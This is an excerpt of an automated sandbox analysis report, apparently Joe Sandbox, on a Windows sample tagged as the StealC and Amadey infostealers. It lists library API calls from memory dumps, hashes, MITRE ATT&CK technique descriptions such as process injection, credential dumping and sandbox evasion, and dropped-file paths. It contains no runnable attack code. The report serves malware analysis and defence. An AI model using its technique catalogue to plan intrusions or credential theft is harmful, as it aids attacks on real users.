SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6D065D40,00000000,?,?,6D056AC6,6D06639C), ref: 6D07AC59
free.MOZGLUE(8CB6FF01,6D056AC6,6D06639C,?,?,?,?,?,?,?,?,?,6D065D40,00000000,?,6D06AAD4), ref: 6D07AC62

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: f24c0c76aa7f1b151a1f7f1093105d9352ec5ecc36a5f2600a2d71621495addc
Instruction ID: 295228188baec8efef6fdec8689c9b8edac1efba1ad414ba488161507620892f
Opcode Fuzzy Hash: f24c0c76aa7f1b151a1f7f1093105d9352ec5ecc36a5f2600a2d71621495addc
Instruction Fuzzy Hash: 96014FB5A04605AFEB10CF55E8C1F5677E8AF45758F148068E94D8F306D731E845CBA1

Function 6D02FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CFD9003,?), ref: 6D02FD91

Part of subcall function 6D030BE0: malloc.MOZGLUE(6D028D2D,?,00000000,?), ref: 6D030BF8
Part of subcall function 6D030BE0: TlsGetValue.KERNEL32(6D028D2D,?,00000000,?), ref: 6D030C15

PORT_Alloc_Util.NSS3(A4686D03,?), ref: 6D02FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686D03,?,?), ref: 6D02FDC4
free.MOZGLUE(00000000,?,?), ref: 6D02FDD1

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 261275caafa92b7c71ab4a21e7cf2efffb333ef89ae1ee488ba682c47439e0b0
Instruction ID: c34c5f4a62696492088fe577ea5959977a323f7f91af1940d6cabdaa39b8f2d6
Opcode Fuzzy Hash: 261275caafa92b7c71ab4a21e7cf2efffb333ef89ae1ee488ba682c47439e0b0
Instruction Fuzzy Hash: 3BF0FCF6A052136BFB004F56EC81B277B9DEF442D5B058035EE098B601E721D810C7E1

Function 6D0ECC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6D0ECC61
free.MOZGLUE ref: 6D0ECC6E
DeleteCriticalSection.KERNEL32(?), ref: 6D0ECC80
free.MOZGLUE(?), ref: 6D0ECC87

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: ecedfc3fb6e9c497a3f2a407c84a5ece3874dc15d1682bc2616de3566daf8564
Instruction ID: e5104e4c9b81c4ce4b8d908833e9a326996abf2c978bcaa8fead3275a31e73b8
Opcode Fuzzy Hash: ecedfc3fb6e9c497a3f2a407c84a5ece3874dc15d1682bc2616de3566daf8564
Instruction Fuzzy Hash: 35E03076600608AFCE10DFA8DC4488777ACEE492703150525E791C3700D332F955CBE1

Function 6CFC9DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CFC9E1F

Part of subcall function 6CF813C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CF52352,?,00000000,?,?), ref: 6CF81413
Part of subcall function 6CF813C0: memcpy.VCRUNTIME140(00000000,6CF52352,00000002,?,?,?,?,6CF52352,?,00000000,?,?), ref: 6CF814C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6CFCA006
ESCAPE expression must be a single character, xrefs: 6CFC9F78

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 7fed0f5abef4161c17b656b92029b19e7f3ee069138f07e9abf7e22e5d0252f0
Instruction ID: 8f6f38fbc43d3e9a31500a64eaea89b7a90f071036e2076ea9838013956da576
Opcode Fuzzy Hash: 7fed0f5abef4161c17b656b92029b19e7f3ee069138f07e9abf7e22e5d0252f0
Instruction Fuzzy Hash: 83811B71B042574BD700CF29C0803EBB7F2AF8531CF288659D8A49BB85DB32DA46C792

Function 6D024D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6D024D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6D024DE6

Strings

%d.%d, xrefs: 6D024DDE

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 830d4842dade2f10bbdaec7d1cd900acc250f3d60fdf7639e56832179234a140
Instruction ID: 6f61e6fc3cedd15ddaaf379f5ac01fcca483e8bb60f72c84307f86e33ce74bb6
Opcode Fuzzy Hash: 830d4842dade2f10bbdaec7d1cd900acc250f3d60fdf7639e56832179234a140
Instruction Fuzzy Hash: 4E310BB1D042197BFB109BB1AC05BBF77ACEF44304F050429ED55AB282EB70D905CBA2

Function 6D06AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6D06AF78

Part of subcall function 6CFCACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFCACE2
Part of subcall function 6CFCACC0: malloc.MOZGLUE(00000001), ref: 6CFCACEC
Part of subcall function 6CFCACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CFCAD02
Part of subcall function 6CFCACC0: TlsGetValue.KERNEL32 ref: 6CFCAD3C
Part of subcall function 6CFCACC0: calloc.MOZGLUE(00000001,?), ref: 6CFCAD8C
Part of subcall function 6CFCACC0: PR_Unlock.NSS3 ref: 6CFCADC0
Part of subcall function 6CFCACC0: PR_Unlock.NSS3 ref: 6CFCAE8C
Part of subcall function 6CFCACC0: free.MOZGLUE(?), ref: 6CFCAEAB

memcpy.VCRUNTIME140(6D133084,6D1302AC,00000090), ref: 6D06AF94

Strings

SSL, xrefs: 6D06AF73

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 657af75818fa822c4dc1bb020573a93febfad6824cc5ecd16915af6aea0ba411
Instruction ID: 751006efb8708272206d24858adb9cce9a1c22181df3ae41cd0bb4175a61e80a
Opcode Fuzzy Hash: 657af75818fa822c4dc1bb020573a93febfad6824cc5ecd16915af6aea0ba411
Instruction Fuzzy Hash: 212118F81092C89EFE20CF91B65E3167FB1F3026497125118E6184E319D7B5818A9FBE

Function 6CFC0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000,?,6CF5204A), ref: 6CFC0F1B

Part of subcall function 6CFC1370: GetSystemInfo.KERNEL32(?,?,?,?,6CFC0936,?,6CFC0F20,6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000), ref: 6CFC138F

PR_NewLogModule.NSS3(clock,6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000,?,6CF5204A), ref: 6CFC0F25

Part of subcall function 6CFC1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CFC0936,00000001,00000040), ref: 6CFC1130
Part of subcall function 6CFC1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CFC0936,00000001,00000040), ref: 6CFC1142
Part of subcall function 6CFC1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CFC0936,00000001), ref: 6CFC1167

Strings

clock, xrefs: 6CFC0F20

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 1d7064af70778dc110c6e2db1621bd4ac9b557f9076c49e56cbf76fbcb2553ee
Instruction ID: 74625c73377c3b8ef8a26690647a6f489f7586b11812bd8b3c511f575af2c180
Opcode Fuzzy Hash: 1d7064af70778dc110c6e2db1621bd4ac9b557f9076c49e56cbf76fbcb2553ee
Instruction Fuzzy Hash: 32D0223130010815C630339BBC80BA7B2ACC7C3279F218422E008019000BA880FEDAF7

Function 6D030DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6D030DF5
TlsGetValue.KERNEL32 ref: 6D030E2D
TlsGetValue.KERNEL32 ref: 6D030E58
TlsGetValue.KERNEL32 ref: 6D030E84

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: e6e1c40777ed5e1f0149063b2a02ba22715b3c40aecb6e5ebc443852a9f26958
Instruction ID: 40cd69e8af7475773c5a5715cc1e3734312e0be1cf710524139fbb3079dadda0
Opcode Fuzzy Hash: e6e1c40777ed5e1f0149063b2a02ba22715b3c40aecb6e5ebc443852a9f26958
Instruction Fuzzy Hash: B431F6B07593278BEB115F7AD48436977F4BF46384F43466DD88887210DBB48095CB82

Function 6D030F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CFD2AF5,?,?,?,?,?,6CFD0A1B,00000000), ref: 6D030F1A
malloc.MOZGLUE(00000001), ref: 6D030F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6D030F42
TlsGetValue.KERNEL32 ref: 6D030F5B

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: b0c89de8b2c31b72973515bc6ab67ba73ee7dfb65f8b3920d5ed06c657d4ae94
Instruction ID: 082261ae345ad2d5a9548fc64fd5f682da8b86ca6379abe97d05c742d1ee7430
Opcode Fuzzy Hash: b0c89de8b2c31b72973515bc6ab67ba73ee7dfb65f8b3920d5ed06c657d4ae94
Instruction Fuzzy Hash: AB0128B1A092265FF7101F3BAC447677AACEF82294B020131ED08C3A21E771C45586E2

Function 6CFE1EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CFE1ECE
free.MOZGLUE(?), ref: 6CFE1EDF
free.MOZGLUE(?), ref: 6CFE1EEF
free.MOZGLUE(?), ref: 6CFE1EF5

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: de78e39b152c8041b4dd888ebceacbfcf0d00542d97bf14b9a9bc368b9718eb6
Instruction ID: c71c516f2df243de23681ae4e661cd03a3a25813e48ac12e9151e49edbafc2b0
Opcode Fuzzy Hash: de78e39b152c8041b4dd888ebceacbfcf0d00542d97bf14b9a9bc368b9718eb6
Instruction Fuzzy Hash: 28F0E2B56002057BEB00DB6AEC8AEA773ACEF49264B044434FD0EC3A01E726F450C7E2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CGIJJKEH

C:\ProgramData\GCGDGHCBGDHJJKECAECB

C:\ProgramData\HIDHDAAEHIEHIECBKJDGDBFBGI

C:\ProgramData\HIIIJDAAAAAAKECBFBAE

